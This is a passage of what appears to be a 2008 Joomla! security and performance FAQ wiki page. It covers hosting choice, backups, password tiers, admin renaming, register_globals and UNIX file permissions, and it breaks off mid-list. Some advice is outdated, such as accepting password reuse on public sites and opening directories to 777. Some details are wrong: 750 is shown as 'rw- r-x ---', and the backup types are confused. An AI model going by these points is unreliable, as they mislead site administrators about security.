==Library==&lt;br /&gt;
TODO&lt;br /&gt;
==Examples==&lt;br /&gt;
===Core Access Levels===&lt;br /&gt;
There are three access levels in core by default Public, Registered, Special. These are access levels. For them we use the action &#039;&#039;core.view&#039;&#039;. Let&#039;s use &#039;&#039;&#039;Special&#039;&#039;&#039; for our example:&lt;br /&gt;
First of all there is an asset group named Special. We need to tie some user groups to it and selecting Manager is enough. Because the system will automatically include its child groups (being Administrator and Super Administrator by default) The rule needed for this level is &#039;&#039;core.view.3&#039;&#039;. As you remember naming convention is action_name.asset_group_id and here our id is 3.&lt;br /&gt;
&lt;br /&gt;
[[Category:Joomla! 1.6]]&lt;/div&gt;</summary>
		<author><name>Robo1999</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=12315</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=12315"/>
		<updated>2008-12-25T16:05:42Z</updated>

		<summary type="html">&lt;p&gt;Robo1999: /* Should PHP run as a CGI script or as an Apache module? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
The [[Joomla! Administrator&#039;s Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Seek PHP flexibility:&#039;&#039;&#039; Choose a host that allows you to use either PHP4 or PHP5.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and scripting languages.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each other&#039;s files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts porn or SMAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Consider Recommendations:&#039;&#039;&#039; Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly can not be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://help.joomla.org/component/option,com_easyfaq/task,view/id,186/Itemid,268/ Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/faq/view/joomla_security_tips/joomla_and_unix_file_permissions_-_explanation/60.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/faq/view/joomla_security_tips/joomla_and_windows_file_permissions_-_explanation/60.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/faq/view/joomla_security_tips/permissions_under_phpsuexec/60.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time thy log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? [[Image:Compat_10.png]]==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is becuase RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially depreciated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
